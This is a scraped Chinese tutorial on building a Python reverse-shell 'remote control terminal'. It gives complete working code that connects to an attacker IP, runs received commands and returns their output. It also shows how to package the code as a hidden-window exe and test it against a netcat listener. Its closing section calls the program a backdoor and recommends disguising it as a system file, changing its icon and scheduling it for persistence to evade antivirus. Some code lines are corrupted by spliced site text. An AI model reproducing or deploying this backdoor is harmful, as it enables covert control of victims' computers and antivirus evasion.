开发者

使用Python制作一个简易的远控终端

目录
  • 远控终端的本质
  • python制作简易的远控
    • 1、环境
    • 2、新建项目
    • 3、编写程序
    • 4、将python文件打包成exe文件
  • 制作远控终端的意义
    • 附完整代码

      远控终端的本质

      1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息

      2、客户端执行消息内容(即执行服务端传回来的命令)

      3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

      python制作简易的远控

      1、环境

      环境:PyCharm 2021.1.1 x64 + python3.8

      2、新建项目

      打开pycharm,直接新建一个纯python项目。

      使用Python制作一个简易的远控终端

      将main.py文件中原有的代码全部清空。

      使用Python制作一个简易的远控终端

      3、编写程序

      (1)导入需要使用的包

      # 导入所需要的包
      import os
      from socket import *
      

      (2)创建main并配置socket套接字信息

      #导入所需要的包
      ......
      
      
      if __name__ == '__mwww.devze.comain__':
          # 1、服务端IP地址
          IP = "192.168.6.142"
          # 2、服务端监听的端口PORT
          PORT = 9999
          # 3、socket套接字
          socket_info = (IP, PORT)
      

      (3)创建连接方法

      #导入所需要的包
      ......
      
      def remote_control(info):
          # 初始化socket连接
          skt = socket(AF_INET, SOCK_STREAM)
          skt.connect(info)
          # 获得客户端角色,便于服务端执行下一步操作
          host = os.popen("whoami").read().strip()
          # 将客户端角色在每次输入命令的都显示,美化格式
          tips = f"$({host}) "
          skt.send(tips.encode())
      
      
      if __name__ == '__main__':
          ......
      	# 4、连接
          remote_control(socket_info)
      

      (4)接收服务端传入的数据(即命令)

      # 导入所需要的包
      ......
      
      
      def remote_control(info):
          # 初始化socket连接
          ......
          skt.send(tips.encode())
          
          # 建立持续连接
          while True:
              # 接收服务端传入的数据(即命令),以1024个bit为一个单位
              data = skt.recv(1024)
              # 将接收的数据进行utf-8解码,并将左右空格去除
              command = data.decode('utf-8').strip()
              # 如果数据为exit,代表服务端想要断开连接,直接退出程序
              if command == 'exit':
                  skt.send("exit\n".encode())
                  exit(0)
      
      
      if __name__ == '__main__':
          ......
      

      (5)执行服务端传入的命令并将结果返回给服务端

      # 导入所需要的包
      ......
      
      
      def remote_control(info):
          # 初始化socket连接
          ......
          skt.send(tips.encode())
          # 建立持续连接
          while True:
              # 接收服务端传入的数据(即命令),以1024个bit为一个单位
              ......
              if command == 'exit':
                  ......
              # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
              result = os.popen(command).read()
              # 将命令执行的结果返回给服务端
              skt.send((result + tips).encode())
          # 关闭socket连接
          skt.close()
      
      
      if __name__ == '__main__':
          ......
      

      代码编写完成!

      (6)测试远控终端的可用性

      打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。

      开发者_开发学习

      使用Python制作一个简易的远控终端

      使用Python制作一个简易的远控终端

      使用Python制作一个简易的远控终端

      连接成功,远控终端制作完成!

      4、将python文件打包成exe文件

      (1)pip工具安装Pyinstaller模块

      Win+R打开运行 --> 输入cmd打开命令窗口

      pip install Pyinstajavascriptller

      使用Python制作一个简易的远控终端

      (2)切换命令行的路径到需要打包的Python源文件的文件夹路径下

      cd 文件路径

      使用Python制作一个简易的远控终端

      (3)打包python文件为exe文件

      Pyinstaller -F -w 文件名.py

      使用Python制作一个简易的远控终端

      使用Python制作一个简易的远控终端

      使用Python制作一个简易的远控终端

      打包成功!

      打包完成后,在要打包文件的同级目录下会新增一个dist文件夹,exe文件就在dist文件夹中。

      使用Python制作一个简易的远控终端

      使用Python制作一个简易的远控终端

      (4)测试exe文件的可用性

      kali服务端监听端口。

      使用Python制作一个简易的远控终端

      点击运行生成的exe文件。

      使用Python制作一个简易的远控终端

      使用Python制作一个简易的远控终端

      连接成功!python制作远程控制终端完成!

      制作远控终端的意义

      本篇文章我们研究了python如何制作一个简易的远控终端,上篇我的文章研究了Java如何制作一个简易的远控终端。其实,我们制作的这个远控终端就是一个后门程序。那么大家就想了,我们的CS跟MSF都可以生成后门程序,为什么我们还要自己制作呢?

      这是因为,我们不仅可以通过自己制作了解远控程序的原理。而且,由于CS跟MSF生成的后门程序特征比较明显,很多杀毒软件都会杀掉,即使没有杀掉,两三天以后也可能被杀软杀掉,不能做到一个持续化的权限获取,也就是权限维持。而我们自己制作后门程序,是我们自己写的,并没有被公开,杀软就匹配不到我们的特征值,这样杀软就不会杀掉我们的后门程序。如果我们再将我们的后门名称改为系统文件的名称,再改变图标,把后门程序添加编程客栈到计划任务中,这样我们就可以做到一个很好的一个权限维持。

      附完整代码

      # 导入所需要的包
      import os
      from socket import *
      
      
      def remote_control(info):
          # 初始化socket连接
          skt = socket(AF_INET, SOCK_STREAM)
          skt.connect(info)
          # 获得客户端角色,便于服务端执行下一步操作
          host = os.popen("whoami").read().strip()
          # 将客户端角色在每次输入命令的都显示,美化格式
          tips = f"$({host}) "
          skt.send(tips.encode())
          # 建立持续连接
          while True:
              # 接收服务端传入的数据(即命令),以1024个bit为一个单位
              data = skt.recv(1024)
              # 将接收的数据进行utf-8解码,并将左右空格去除
              command = data.decodewww.devze.com('utf-8').strip()
              # 如果数据为exit,代表服务端想要断开连接,直接退出程序
              if command == 'exit':
                  skt.send("exit\n".encode())
                  exit(0)
              # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
              result = os.popen(command).read()
              # 将命令执行的结果返回给服务端
              skt.send((result + tips).encode())
          # 关闭socket连接
          skt.close()
      
      
      if __name__ == '__main__':
          # 1、服务端IP地址
          IP = "192.168.6.142"
          # 2、服务端监听的端口PORT
          PORT = 9999
          # 3、socket套接字
          socket_info = (IP, PORT)
          # 4、连接
          remote_control(socket_info)
      

      以上就是使用Python制作一个简易的远控终端的详细内容,更多关于Python远控终端的资料请关注我们其它相关文编程客栈章!

      0

      上一篇:

      下一篇:

      精彩评论

      暂无评论...
      验证码 换一张
      取 消

      最新开发

      开发排行榜